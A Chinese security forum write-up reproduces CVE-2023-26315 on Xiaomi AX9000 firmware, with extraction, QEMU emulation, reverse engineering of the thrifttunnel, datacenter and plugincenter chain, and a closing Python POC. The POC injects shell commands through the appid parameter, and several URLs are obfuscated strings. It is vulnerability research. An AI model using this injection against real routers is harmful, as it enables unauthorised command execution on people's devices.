-
-
[原创]小米AX9000路由器CVE-2023-26315漏洞复现
-
发表于: 2026-1-26 11:25 943
-
解压固件
因为这是小米的固件,需要用到ubireader_extract_image,先下载
pip install poetry git clone 1f2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6B7M7Y4y4H3M7Y4g2A6N6s2c8Q4x3V1k6#2j5X3W2Q4y4h3k6J5k6h3q4V1k6i4t1`. cd ubi_reader poetry install
安装好了后用source /root/.cache/pypoetry/virtualenvs/ubi-reader-lHfwYMKj-py3.10/bin/activate激活虚拟环境.
解压固件
binwalk -Me ./miwifi_ra70_firmware_cc424_1.0.168.bin --run-as=root cd _miwifi_ra70_firmware_cc424_1.0.168.bin.extracted ubireader_extract_images ./2B4.ubi //然后解出三个.ubifs文件 //对其中的xxx-ubi_rootfs.ubifs用binwalk再解开,即可得到里面的SquashFS文件系统,也就是核心部分 binwalk -Me ./img-870537086_vol-ubi_rootfs.ubifs --run-as=root

解压出来的文件系统如下:

小米的前端也是用的Lua编写的,但是其中的Lua文件不是源码,而是编译后的二进制文件,所以我们需要对其进行反编译。
这里使用unluac_miwifi进行反编译。
还是先安装工具:
git clone 709K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6z5P5h3q4y4K9i4y4@1P5g2)9J5c8Y4g2F1L8s2g2S2j5#2)9#2k6X3#2A6N6$3W2X3K9g2)9J5k6h3N6A6N6l9`.`. cd unluac_miwifi mkdir build javac -d build -sourcepath src src/unluac/*.java jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .
安装好了后就可以对Lua进行反编译了。但一次只能对一个Lua文件进行反编译,所以我们需要写一个批量处理的简单脚本:
import os
res = os.popen("find ./ -name *.lua").readlines()
for i in range(0, len(res)) :
path = res[i].strip("\n")
cmd = "java -jar /home/saulgoodman/Desktop/IOT/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
print(cmd)
os.system(cmd)然后就能批量处理了Lua的二进制文件。
下面就进行固件仿真。
仿真
环境配置
该固件是AArch64el架构.
ZIKH26 师傅已经把环境给弄好了,直接用吧
(一开始我用的Ubuntu18,启动qemu时会出现各种错误(比如qemu版本太低会出现rom: requested regions overlap (rom bootloader. free=0x0000000041a32fc0, addr=0x0000000040000000)),发现解决的话会十分麻烦,所以当本人换成Ubuntu20.04的时候再启动qemu就没有任何问题)
arm64配置好的环境下载链接:https://drive.google.com/file/d/1FcbCkfGuHlvohGlzA-HRRyM8izqhHALE/view?usp=sharing (root/root)
在本机先执行:
sudo apt install libvirt-daemon-system libvirt-clients virt-manager ./net.sh ./start.sh
然后就能顺利启动qemu
启动后先配置网络,给 enp0s1 网卡分一个 ip (取决于网桥 virbr0 在宿主机的哪个网段,如下图我的网段在192.168.122.1),再设置一下网关,最后启用该网卡。
ip add add 192.168.122.130/24 dev enp0s1 ip link set enp0s1 up ip route add default via 192.168.122.1

然后成功分配后(qemu机子):

主机和qemu之间也能通信.

开始
然后就是将文件系统用scp传入qemu虚拟机,然后就是最经典的三行起手式(ssh需要使用普通用户再su)
scp -r ../squashfs-root zikh@192.168.122.130:/home/zikh/ 密码:root 然后在qemu的root目录下里面执行: mv /home/zikh/squashfs-root/ ./squashfs-root cd squashfs-root/ chmod -R 777 ./ mount --bind /proc proc mount --bind /dev dev chroot . /bin/sh
如果要ssh连接的话就:
ssh zikh@192.168.122.130 密码 root
然后就是如下:

根据openwrt的内核初始化流程,按理说应该先启动/etc/preinit,其中会执行/sbin/init进行初始化,但是在这套固件仿真的时候,这样会导致qemu重启,所以我们首先先执行/sbin/init中最重要的/sbin/procd &,启动进程管理器即可。

启动httpd服务
简单搜索了一下httpd服务,发现有好几个(uhttpd,mihttpd, sysapihttpd):

例如查看配置文件/etc/sysapihttpd/sysapihttpd.conf,查看后就能发现这是一个小米路由器上的Nginx Web服务配置文件,主要提供路由器管理界面和API服务。
监听了80端口,有了nginx自然就不需要再启动uhttpd了,而mihttpd中监听了8198端口,定义了一些文件上传下载的API,可以暂时先不启.

所以,只需要启动sysapihttpd,执行/etc/init.d/sysapihttpd start即可
执行发现报错

首先,报错缺失/var/lock/procd_sysapihttpd.lock这个文件,这个创建一下对应的目录和文件就行了。

接着,会报错Failed to connect to ubus,很显然这里是用到了ubus总线通信,我们需要启动/sbin/ubusd &。但是,接下来又继续报错usock: No such file or directory,但是并没有给出缺失哪个文件,因此我们需要将ubusd拖进IDA定位一下报错点。

很容易定位到sub_20B0函数,我们执行的是ubusd,而不是它的软链接tbusd,因此v8会是路径/var/run/ubus.sock,接着其作为参数传入usock函数中,当usock函数的返回值错误时,就会走到perror("usock")报错。


因此我们创建/var/run/ubus.sock文件就可以了,进程中也有ubusd了


接着启动sysapihttpd服务,可以看到还是会报错启动不了,会出现很多问题,然后我发现很多师傅都没有该问题,所以我只能自己去解决

第一个问题就是没有flock命令。解决方法如下:
# 退出chroot环境 exit root@zikh:~/squashfs-root# ldd /bin/flock linux-vdso.so.1 (0x0000ffff961e1000) librt.so.1 => /lib/aarch64-linux-gnu/librt.so.1 (0x0000ffff96181000) libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffff9600d000) /lib/ld-linux-aarch64.so.1 (0x0000ffff961b1000) libpthread.so.0 => /lib/aarch64-linux-gnu/libpthread.so.0 (0x0000ffff95fdc000) # 复制正确的版本 cp /bin/flock /root/squashfs-root/bin/flock cp /bin/flock /root/squashfs-root/usr/bin/flock # 在宿主系统中复制缺失的库 cp /lib/aarch64-linux-gnu/librt.so.1 /root/squashfs-root/lib/ cp /lib/aarch64-linux-gnu/libc.so.6 /root/squashfs-root/lib/ cp /lib/aarch64-linux-gnu/libpthread.so.0 /root/squashfs-root/lib/ cp /lib/aarch64-linux-gnu/ld-linux-aarch64.so.1 /root/squashfs-root/lib/
然后重新chroot可以发现第一个问题解决了

然后这里还会sysapihttpd 启动后立刻崩溃,并被procd 判定为“崩溃循环(crash loop)”
然后看看进程,发现该有的都有了就差个sysapihttpd.所以我就直接执行/usr/sbin/sysapihttpd试试

发现又没有文件,直接创建试试

mkdir -p /tmp/sysapihttpd/lock/ touch /tmp/sysapihttpd/lock/sysapihttpd.lock.accept

发现,又缺少一个文件,还是创建试试,然后就可以看到sysapihttp启动成功了。

可以访问页面。

注意:这里需要修改一下sysapihttp的一个地方:
patch的文件为/squashfs-root/usr/sbin/sysapihttpd找到如图所示部分进行修改将CBZ 修改为 CBNZ

到此就算完成了。
跳过初始化配置
然而,由于我们只启动了部分服务,以及有部分配置与硬件相关,所以毫无疑问按照路由器初始化配置页面中的流程进行配置的过程中一定会出现各种问题。当然,我们仿真模拟的环境并不需要完整的配置,只是为了验证或调试漏洞而已,所以我们也没必要折腾这部分,直接跳过就行了。
我们通过grep在固件文件系统中查找是在哪里重定向至/init.html的,很容易定位到/usr/lib/lua/luci/view/web/sysauth.htm文件:

其内容如下,如果要跳过初始化配置,我们这里还是更优雅地想办法去满足这个if判断的条件,使之不重定向至/init.html。

很快就到定位到其定义的文件
如下,这里直接交给ai转换成lua源码


这里去看看 XQPreference文件

然后为了方便观察,这里给出winmt师傅的图:

很容易弄清这里的逻辑,只需要按照如下命令设置uci配置项,标记为已初始化即可:
uci set xiaoqiang.common.INITTED=1 uci commit

uci set设置后,再次访问IP,即可绕过初始化配置,跳转至登录页面:

设置登录密码
由于我们跳过了初始化配置阶段,并没有设置路由器后台的登录密码,且我们需要验证的CVE-2023-26315是一个授权认证后的漏洞,因此我们需要设置登录密码以登录进后台拿到token的值
我们先去看看身份校验的文件用grep查找一下很多设备几乎都是checkuser,只不过是有些大小写的区别罢了.

通过分析可以确定身份验证文件是/usr/lib/lua/luci/dispatcher.lua的jsonauth函数中.checkUser函数根据从POST报文中获取的username,password和nonce(现时)字段进行身份验证。

在/usr/lib/lua/xiaoqiang/util/XQSecureUtil.lua中的checkUser函数中,首先获取了uci配置中的密码。
这里的XQPreference.get函数在本文的上一节中已经给出,可分析出此处的配置项为account.common.(用户名)。
接着,需要POST报文中传入的现时字段nonce与系统中uci存储的password的值拼接后进行sha1哈希的结果等于POST报文中传入的密码字段。

因此接下来我们要确定POST报文中传入的password和nonce到底是什么,这肯定是有javascript对用户的输入进行处理后传给这个checkUser的,我们直接在javascript代码中搜索pass,可以发现有两处比较显眼。
第一处是这个Encrypt函数.这里定义了Key和iv,然后对密码的操作,对于oldPwd就是nonce和输入的pwd进行SHA1后拼接起来在进行SHA1.

第二处如下,先调用Encrypt.init()对nonce进行初始化,然后对用户输入的passwod进行处理,用oldPwd进行处理后把password和其它参数拼接好后传给Lua文件进行处理(也就是传给usr\lib\lua\luci\controller\api\xqsystem.lua中的login函数处理)。

可以看出,报文中的用户名字段固定就是admin,而密码字段是通过oldPwd()函数加密后的结果。
通过上面的分析我们可以清楚的知道,Lua文件中的CheckUser就是把配置文件中的SHA1后的password取出来和nonce拼接后再进行一次SHA1加密,然后把加密后的结果和javascript中传入的用户输入的经过oldPwd()加密后的密码进行比较,相等就返回成功。
那么我们可以用uci set account.common.admin命令将配置文件中的密码设置为 sha1(admina2ffa5c9be07488bbb04a3a47d3c5f6a)(密码+key)。
sha1(admina2ffa5c9be07488bbb04a3a47d3c5f6a) = b3a4190199d9ee7fe73ef9a4942a69fece39a771
那么登录的时候输入admin后就可以成功登录了。
uci set account.common.admin=b3a4190199d9ee7fe73ef9a4942a69fece39a771 uci commit uci show | grep admin

然后就能用admin成功登录了。

此时token为ae5b48943910eb3a28eec1efc0a423d7
漏洞分析
在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua中,可以看到 URL /api/xqdatacenter/request相关的handler函数是tunnelRequest函数,且是需要鉴权通过的。
对于鉴权来说,首先对于/api/xqdatacenter这个节点来说,设置了node.sysauth = "admin"保证只有admin用户可以访问这个node(小米路由器后台的默认账户就是admin),然后还设置了node.sysauth_authenticator = "jsonauth"即当不是admin用户,没有Token或者未经过身份认证时会先进行身份认证,通过authenticator.jsonauth函数进行登录验证.
对于具体的入口来说,定义entry{}内的第五个参数flag位为0x01(或&0x01=1)代表不需要鉴权,这里/api/xqdatacenter/request这个入口没有设置flag位,因此需要鉴权。

这里关于enrty函数在usr\lib\lua\luci\dispatcher.lua.dis文件中。如图可以看到第5个参数是flag位.

这里flag为1代表不需要授权访问,

这里做的一些访问检查,部分页面必须要授权才能访问。

因此/usr/lib/lua/luci/controller/api/xqdatacenter.lua中 /api/xqdatacenter/request相关的handler函数是tunnelRequest函数,其flag标志位是空也就是0。当我们访问这个api时,会触发dispatcher.lua中的dispatch函数。
然后找到对应的节点。

然后再检查访问权限,如果不是admin账号,那么就无法访问的。

多的就不分析了,我们来看tunnelRequest函数.
分析tunnelRequest
在tunnelRequest函数中会对接收到的payload字段的Json数据进行binaryBase64Enc加密。
并将加密后的数据拼接到THRIFT_TUNNEL_TO_DATACENTER所指代的命令中并执行。

如下图拼接到命令中:

这里的关键在于http.formvalue_unsafe()函数。这个函数获取了payload的内容但没有对payload进行任何过滤。
而formvalue函数中是有用hackCheck过滤危险字符的,但这里没有用formvalue函数。
然后可以看到,THRIFT_TUNNEL_TO_DATACENTER所指代的命令为thrifttunnel 0 '%s',因此,最终所执行的完整命令是thrifttunnel 0 'base64编码的payload字段',即payload字段中被Base64编码后的Json数据会被传入thrifttunnel程序中,且option为0。
然后这里去看看thrifttunnel程序

分析thrifttunnel
先分析一下main函数。这里a1=3是检查参数个数是否为3(例如:程序名、命令、参数).
然后猜测下面的a2+16就是加密的payload的位置。因为thrifttunnel 0 '刚好16个字符.

对于sub_1B6FC()函数如下,分析一下就能知道是一个类似于copy的函数。将第二个参数(索引16)转换为string对象,存入第一个参数。

然后在sub_1B9B0(v12, v11);中其第一个参数还是我们传入的加密payload,第二个参数v11目前为空。
进入sub_1B9B0函数后进一步分析。如下可以看到会把payload的相关数据传入sub_1F1F8()函数进行处理。
然后将返回结果通过string::assign()赋值给了a2。

对于sub_1F1F8函数,猜测是进行base64解码的。因为当异常抛出代码时,exception[2]=1,会执行到case 1处,这里刚好会抛出不是base64字符,所以猜测是解码函数


上述流程结束后再返回主函数,此时v11已经是解码后的数据了。然后下面的*(const char **)(a2 + 8)会解析到第一个参数option为0时。也就是会执行case 0中的函数.也就是执行sub_1BAE0()函数。

分析sub_1BAE0()函数(这里传入的参数就是上面保存解码后的payload的json数据的v11):
这里先创建了一个发送套接字的功能如下:

创建完成后会与本地端口进行连接,然后下面就会进行一系列包装,然后会把包装好的json数据发送到该端口。

这里将数据发送到本地的9090端口,那么一定会有个程序在监听9090端口,并且会对接收的数据进行处理。
在sub_10A5函数中的sub_10594函数是对请求进行处理的。

其中sub_FD34(v7, v5);函数中,可以看到DataCenter_request_pargs,

然后在off_3C058中也能看到很多关于datacenter的虚表,猜测datacenter就是接收我们发送数据的程序。

分析datacenter
分析一下datacenter程序。
int __fastcall main(int argc, const char **argv, const char **envp)
{
`......
//打印调试信息
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "argc is ", envp);
v6 = std::ostream::operator<<(v5, (unsigned int)argc);
v8 = std::operator<<<std::char_traits<char>>(v6, ", argv is NULL? ", v7);
v9 = std::ostream::_M_insert<bool>(v8, argv == 0LL);
std::endl<char,std::char_traits<char>>(v9);
google::InitGoogleLogging((google *)"datacenter", v10);
fLB::FLAGS_logtostderr = 0; //默认日志输出到文件,不是stderr
fLI::FLAGS_minloglevel = 2;
if ( argc > 1 && !strcmp(argv[1], "-d") ) //检查是否启用调试模式
{
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "debug mode, print all log to stderr.", v11);
std::endl<char,std::char_traits<char>>(v12);
fLB::FLAGS_logtostderr = 1; //调试模式下输出到stderr
}
//日志相关服务
......
init(); //初始化函数
//这部分就是创建一些处理相关的东西,然后会创建线程启动线程
......
sub_5F328(v41, "127.0.0.1"); //把127.0.0.1复制到v41
apache::thrift::server::TNonblockingServer::TNonblockingServer<apache::thrift::TProcessor>(
v42,
&v29,
&v33,
9090LL, //创建监听端口9090,也就是可以接收发送到9090的数据
&v35,
v41,
0LL);
std::string::_M_dispose(v41); //清理地址字符串
v25 = std::operator<<<std::char_traits<char>>(&std::cout, "run server accept all connections.", v24); //启动服务器
std::endl<char,std::char_traits<char>>(v25);
apache::thrift::server::TNonblockingServer::serve((apache::thrift::server::TNonblockingServer *)v42);
//清理资源
.....
return 0;
}上述程序会一直监听9090端口发来的数据,因为在thrifttunnel程序中会调用request向datacenter发送请求。
在datacenter中搜索request函数。

在DataCenterHandler::request函数中,会调用APIMapping::APIMapping

在APIMapping::APIMapping中又会调用constructAPIMappingTable函数初始化构建API。

在constructAPIMappingTable()函数里又分别执行了三个类的sConstructMappingTable()函数。

其实这三个函数都是存储大量API服务的函数映射表。这里直接按照winmt 师傅所说的直接定位漏洞位置datacenter::PluginApiCollection::sConstructMappingTable。
当api为629的时候,对应的handler是callPluginCenter,其实从函数名就能看出来作用了,就是转发给plugincenter

进去简单看一下,的确是发送给了本地的9091端口(同样,容易在plugincenter程序中找到,其监听着9091端口)。


下面是plugincenter程序在监听9091端口。


分析完上述代码后,继续回到DataCenterHandler::request函数,紧接着调用了APIMapping::redirectRequest函数。
经过一些初始后,会先获取到api的值(图中79行).然后将api的值存放在v8中。这里的v29就是解析后的json数据,该数据中应该会记录api的值。

接下来会记录日志后,就到了这个循环处。其中有对v8值的判断比较,最后执行了一个函数指针(此处就是根据传入的api字段值调用对应的handler的过程)。
下面的winmt 师傅的原话(现在的AI已经很强大了,丢给ai基本也能分析出个123来):
其中,先获取了Json对象中的api字段的值,存放在v8变量中,然后经历了一个for循环,其中有对v8值的判断比较,最后执行了一个函数指针。这里需要稍微解释一下,此处的a1就是上面建立的map映射表,类型是std::map<int,void (*)(json_object *,std::string &)>,即第一个元素(键值)是整数,第二个元素(实值)是函数指针。所以此处的for循环就是对map的操作,但是都是用的偏移值,不好看出来具体是什么,其实这里也没必要去查源码,我们直接自己写一个map容器的遍历,然后静态编译出来,反编译后这些偏移值的含义也就都清楚了。此处的for循环其实就是执行了map.find()的操作,寻找了map中key为v8(即api值)的迭代器,偏移+32就是第一个键值元素(api值),偏移+40则是第二个实值元素(handler的函数指针)。显然,此处就是根据传入的api字段值调用对应的handler的过程。到这里,上述建立的Mapping Table中的映射关系也更加明朗了。

所以经过上述的分析可以知道,当api为629时,传入的payload字段的数据会被转发给plugincenter程序处理。
分析plugincenter
在datacenter中同样也是向plugincenter发送请求,所以按照上面同样的思路尝试去搜索request,找到__int64 __fastcall virtual thunk to'PluginCenterHandler::request(_QWORD *a1)

同样查看一下PluginAPIMapping::PluginAPIMapping
找到datacenter::PluginApiMappingExtendCollection::sConstructMappingTable函数,仍然是通过map建立了api编号和对应handler函数的映射关系,点进去查看一下。

当我们点进去可以看到又有个datacenter::PluginApiMappingExtendCollection::sConstructMappingTable,又因为我们传入的api为629,如下图没有该api值,因此我们再次点进去查看一下。

然后又可以看到当api=629时,调用的是parseGetIdForVendor

查看该函数,首先从JSON对象中获取名为"appid"的字段,如果有appid字段就会进入if里面,然后创建PluginApi对象(存储在v7中),将JSON数据转换成String类型,sub_D4F3C是将转换后的string数据复制到v8,然后就会走到PluginApi::getIdForVendor函数处。

如下图可以看到,当执行到PluginApi::getIdForVendor函数时,传入的第一个参数就是appid的数据,第二个参数猜测是长度。

查看PluginApi::getIdForVendor函数。这里首先会检查传入的appid是否有效,无效的话就就会写入日志。但这里并没有return,所以即使没有appid执行完if内的语句后也会向下执行。

当执行到std::operator+<char>("matool --method idForVendor --params ", a1);时,会将appid的数据拼接到 --params后面,然后再调用CommonUtils::sCallSystem(v15, v13);执行命令。
这里的a1就是appid的值,如下图。

拼接后就会执行如下命令。

到此命令执行结束。
漏洞利用:
在漏洞利用前我们要开启
/usr/sbin/datacenter & /usr/sbin/plugincenter &

如下如图就可以看到开启了9090和9091端口,进程中也有该程序说明可以利用了。


调试
这里再简单说下如何调试。
在上面两个进程开启后,我们要求下一个gdbserver,由于程序是aarch64架构的,因此我们要下载对应的版本的gdbserver

下载地址: 280K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5N6h3N6K6P5g2)9J5c8X3N6V1j5W2)9J5k6s2y4@1j5i4c8A6j5#2)9J5c8X3u0D9L8$3u0Q4x3V1k6E0j5i4y4@1k6i4u0Q4x3V1k6Y4k6r3u0K6k6i4u0$3k6i4u0Q4x3X3b7^5i4K6u0W2x3g2)9J5k6e0q4Q4x3X3c8S2j5i4u0U0K9o6j5@1i4K6u0V1L8r3f1`.

下载好了后,用scp传到qemu中,如下图在目录下放这个gdbserver-8.1.1-aarch64-le。

然后查看进程号,可以看到/usr/sbin/plugincenter的进程id是2446

直接用gdbserver调试这个进程。

可以看到成功监听了1234端口,然后我们回到本机,用gdb-multiarch -q ./usr/sbin/plugincenter去调试
set architecture aarch64 target remote 192.168.122.130:1234


如上图可以看到,已经可以调试了,然后由于/usr/sbin/plugincenter保护是全开的,所以下断点的时候要知道基地址。

如图第一行就是基地址

然后断点可以下在PluginApi::getIdForVendor(v9, v7, v8);处看看。

然后再开一个终端运行POC就能执行到断点处。


想调试其它程序思路同样如此。
POC
import requests
server_ip = "192.168.122.130"
token = "d0dc0b03109cc506cf04414eb8aad7da"
nc_shell = ";ls;id;pwd;"
res = requests.post("5fcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8W2)9%4b7W2)9%4c8q4)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8X3I4#2j5$3W2Q4x3V1k6Q4x3@1u0K6N6r3!0C8i4K6y4p5i4K6N6n7i4K6N6p5i4K6u0r3j5i4m8A6i4K6u0r3P5s2q4V1j5i4c8S2j5$3g2F1N6r3g2J5i4K6u0r3M7X3g2I4N6h3g2K6N6q4)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3X3g2X3L8%4u0E0j5i4c8Q4x3U0S2K6k6i4u0$3k6i4u0Q4y4h3k6A6M7q4)9J5b7#2)9J5y4X3&6T1M7%4m8Q4x3@1u0@1L8$3E0W2L8W2)9J5z5g2)9J5b7#2)9J5y4X3&6T1M7%4m8Q4x3@1u0V1j5i4c8S2i4K6y4p5i4K6N6n7i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0H3j5i4W2D9L8$3q4V1i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0Q4x3@1q4Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7W2)9%4b7W2)9J5y4Y4q4#2L8%4c8Q4x3@1u0S2M7r3W2Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6y4m8y4U0t1&6i4K6u0o6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4Y4q4#2L8%4c8Q4x3@1u0S2M7s2m8A6k6q4)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3@1q4Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6u0n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3&6U0i4K6g2X3M7$3S2W2L8r3I4Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6u0n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9%4c8q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6N6p5i4K6t1&6
print(res.text)如下成功命令执行

参考:
https://bbs.kanxue.com/thread-281901-1.htm#msg_header_h2_5
https://bbs.kanxue.com/thread-282034-1.htm#msg_header_h1_7
https://zikh26.github.io/posts/cf175daa.html#%E5%89%8D%E8%A8%80